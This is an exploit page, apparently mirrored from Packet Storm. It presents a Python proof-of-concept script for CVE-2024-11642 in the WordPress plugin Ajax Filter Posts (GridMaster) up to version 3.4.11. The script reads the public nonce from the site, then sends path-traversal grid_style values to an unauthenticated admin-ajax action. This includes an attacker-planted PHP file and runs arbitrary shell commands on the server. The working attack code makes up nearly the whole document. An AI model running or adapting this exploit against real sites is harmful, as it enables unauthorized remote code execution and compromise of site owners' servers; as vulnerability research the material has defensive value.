Share
## https://sploitus.com/exploit?id=PACKETSTORM:226392
#!/usr/bin/env python3
    # Exploit Title: WordPress Plugin Ajax Filter Posts (GridMaster) <= 3.4.11 - Unauthenticated Local File Inclusion to RCE
    # Google Dork: N/A
    # Date: 2026-07-10
    # Exploit Author: A. Ramos <aramosf@gmail.com> / @aramosf
    # Vendor Homepage: https://wordpress.org/plugins/ajax-filter-posts/
    # Software Link: https://downloads.wordpress.org/plugin/ajax-filter-posts.3.4.11.zip
    # Version: 3.4.11 (REQUIRED)
    # Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
    # CVE : CVE-2024-11642
    """
    Ajax Filter Posts <= 3.4.11 nopriv admin-ajax action asr_filter_posts passes argsArray[grid_style]
    (only sanitize_text_field, keeps ../) into get_template_part -> load_template(templates/grid/
    <grid_style>.php) (inc/Shortcode.php:649). A path-traversal grid_style pointing at an attacker
    .php on disk includes and executes it -> RCE. The asr_ajax_nonce is printed globally on any
    front-end page. Prior state: an attacker-controlled .php (setup_state.sh plants one in uploads).
    """
    import argparse, sys, re
    import requests
    requests.packages.urllib3.disable_warnings()
    
    def main():
        ap = argparse.ArgumentParser()
        ap.add_argument("--target", required=True)
        ap.add_argument("--shell-relpath", default="wp-content/uploads/afpshell")
        ap.add_argument("--cmd", default="id")
        a = ap.parse_args(); base = a.target.rstrip("/")
        s = requests.Session(); s.verify = False
        m = re.search(r'asr_ajax_params[^{]*\{[^}]*?"nonce":"([a-f0-9]+)"', s.get(base + "/").text) \
            or re.search(r'"nonce":"([a-f0-9]+)"', s.get(base + "/").text)
        nonce = m.group(1) if m else None
        print(f"[*] Target: {base} | asr nonce: {nonce}")
        for depth in range(3, 10):
            trav = "../" * depth + a.shell_relpath
            r = s.post(base + "/wp-admin/admin-ajax.php",
                       data={"action": "asr_filter_posts", "nonce": nonce, "argsArray[grid_style]": trav},
                       params={"c": a.cmd}, timeout=20)
            if "AFP_PWNED" in r.text:
                print(f"\n[+] RCE CONFIRMED (LFI, depth={depth})\n{r.text.split('AFP_PWNED:')[1].strip()}")
                return 0
        print("\n[-] not confirmed (plant the .php via setup_state.sh)"); return 1
    
    if __name__ == "__main__":
        sys.exit(main())